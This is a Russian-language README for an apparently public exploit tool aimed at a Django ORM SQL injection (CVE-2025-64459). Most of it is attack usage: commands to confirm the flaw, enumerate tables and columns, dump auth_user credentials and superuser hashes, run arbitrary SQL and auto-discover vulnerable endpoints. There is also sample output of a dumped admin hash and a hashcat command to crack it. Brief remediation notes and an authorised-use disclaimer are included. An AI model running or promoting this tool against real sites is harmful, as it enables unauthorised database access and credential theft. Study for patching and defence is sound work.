
NEO-SQLi — эксплойт Django _connector SQL Injection (CVE-2025-64459) | canal RedTeam Brasil
Автоматизированная эксплуатация SQL-инъекции в ORM Django
Q-object _connector · CVE-2025-64459
🎥 канал RedTeam Brasil — практическая безопасность на португальском.
██████╗ ████████╗██████╗ connector-sqli
██╔══██╗╚══██╔══╝██╔══██╗ Django Q() `_connector` SQLi
██████╔╝ ██║ ██████╔╝ CVE-2025-64459
██╔══██╗ ██║ ██╔══██╗ канал RedTeam Brasil
██║ ██║ ██║ ██████╔╝ youtube.com/@RedTeamBrasil
╚═╝ ╚═╝ ╚═╝ ╚═════╝ только для авторизованного использования
ORM Django строит фильтры с помощью объектов Q(). Конструктор
Q(*args, _connector=None, _negated=False, **kwargs) принимает специальный kwarg
_connector — строку (AND/OR), которая связывает условия внутри WHERE.
В затронутых версиях это значение не очищалось и попадало напрямую в SQL.
Когда приложение передаёт пользовательский ввод напрямую в Q() / .filter() /
.exclude() / .get() через распаковку словаря — классический анти-паттерн:
# ❌ УЯЗВИМО
posts = Post.objects.filter(Q(**request.GET)) # или .filter(**request.GET)
…атакующий контролирует _connector и внедряет произвольный SQL между условиями
(работает для SQLite, PostgreSQL, MySQL и т.д.).
При
DEBUG = Trueэксплуатация становится тривиальной: страница ошибки Django возвращает сформированный SQL, базовую таблицу и количество столбцов — именно то, что инструмент использует для построения UNION автоматически.
Универсальный (не привязан к конкретной цели) и автоматизированный эксплуататор:
--auto): обход главной страницы + robots/sitemap + встроенный словарь, тестируя каждый маршрут по FieldError от Django.DEBUG=True через FieldError.--proxy) и цели HTTPS.git clone https://github.com/rafaelchriss/RedTeamBrasil-CVE-2025-64459.git
cd RedTeamBrasil-CVE-2025-64459
pip install -r requirements.txt
chmod +x rtb_connector_sqli.py
# 1) подтвердить уязвимость
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ check
# 2) перечислить таблицы
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ tables
# 3) перечислить столбцы таблицы
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ columns auth_user
# 4) дамп (конкретные столбцы или все)
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ dump auth_user --cols username,password,is_superuser
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ dump auth_user --where "is_superuser=1"
# 5) сокращение для пользователей Django
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ users
# 6) произвольное SQL-выражение
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ query "sqlite_version()"
# 7) ИНТЕРАКТИВНЫЙ РЕЖИМ (меню таблица → столбцы → дамп)
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ shell
# 8) НЕ ЗНАЕТЕ МАРШРУТ? дайте найти самостоятельно
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ auto # только обнаружение и вывод
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ --auto shell # обнаружение и сразу эксплуатация
С
--auto(или подкомандойauto) он выполняет обход главной страницы +robots.txt/sitemap.xmlи использует встроенный словарь маршрутов для списков/поиска (EN + PT-BR + API), помечая те, что возвращаютFieldErrorот Django. Если вы передали неверный--path, он автоматически переходит в режим обнаружения.
# всё через Burp
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ --proxy http://127.0.0.1:8080 users
# или через переменную окружения (без флага)
export HTTP_PROXY=http://127.0.0.1:8080 HTTPS_PROXY=http://127.0.0.1:8080
python3 rtb_connector_sqli.py -u http://ЦЕЛЬ shell
[*] Цель: http://ЦЕЛЬ/list
[+] Поля модели (6): author, content, created_at, id, status, title
[+] SQLi подтверждена в `_connector` (CVE-2025-64459). near "'RTB'": syntax error
[+] Базовая таблица: <app>_<model> · столбцов в SELECT: 6
[+] Отражаемый столбец (чтение): позиция 4
┌── auth_user (N)
│ admin | pbkdf2_sha256$600000$<salt>$<hash>= | is_superuser=1 | admin@target
└──
Имея хеш суперпользователя:
hashcat -m 10000 hash.txt rockyou.txt # Django использует pbkdf2_sha256
request.GET напрямую в Q()/.filter(). Используйте белый список:
ALLOWED = {"title__icontains", "status"}
safe = {k: v for k, v in request.GET.items() if k in ALLOWED}
Post.objects.filter(**safe)
DEBUG = False в продакшене (не допускайте утечки SQL/таблиц/настроек).Инструмент образовательный и предназначен только для авторизованного тестирования (лаборатории, CTF, bug bounty в рамках программы, пентест по договору). Использование против систем без явного разрешения является преступлением — вы несёте полную ответственность.
Сделано RedTeam Brasil · понравилось? поставьте лайк и подпишитесь на канал.
| Параметр | Детали |
|---|
| CVE | CVE-2025-64459 |
| Компонент | django.db.models — Q() / QuerySet (_connector и псевдонимы столбцов) |
| Затронутые версии | Django < 4.2.26, < 5.1.14, < 5.2.8 |
| Исправление | обновление до 4.2.26 / 5.1.14 / 5.2.8 (или выше) |
| Воздействие | произвольное чтение БД (UNION/blind) → дамп учётных данных и эскалация в цепочке атак |
| Флаг | Назначение |
|---|
--path /buscar | уязвимая конечная точка (по умолчанию /list) |
--auto | найти конечную точку самостоятельно (обход + словарь) |
--wordlist rotas.txt | дополнительные маршруты для обнаружения (по одному на строку) |
--base app_model | принудительно указать базовую таблицу (если автообнаружение не удалось) |
--proxy http://127.0.0.1:8080 | направить всё через Burp / mitmproxy |